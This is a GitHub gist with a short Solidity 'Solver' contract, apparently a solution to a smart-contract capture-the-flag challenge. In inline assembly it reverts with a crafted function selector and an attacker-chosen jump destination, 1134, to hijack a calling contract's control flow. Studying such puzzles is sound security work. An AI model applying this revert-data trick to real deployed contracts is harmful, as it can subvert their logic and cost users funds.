Created
June 29, 2018 19:19
-
-
Save wadealexc/3e15fc5342dcfb6e04a1ab8b0c9fb011 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
contract Solver { | |
bytes4 internal constant SEL = bytes4(keccak256('Set(uint256)')); | |
function execute(address) public pure { | |
// constants are not accessible in assembly | |
bytes4 sel = SEL; | |
assembly { | |
// Store sel in memory @ 0x0 | |
mstore(0, sel) | |
// Store 1134 (our jumpdest) in memory, just after sel | |
mstore(0x4, 1134) | |
// Revert exactly 0x24 bytes to the caller, starting at memory position 0x0 | |
revert(0, 0x24) | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment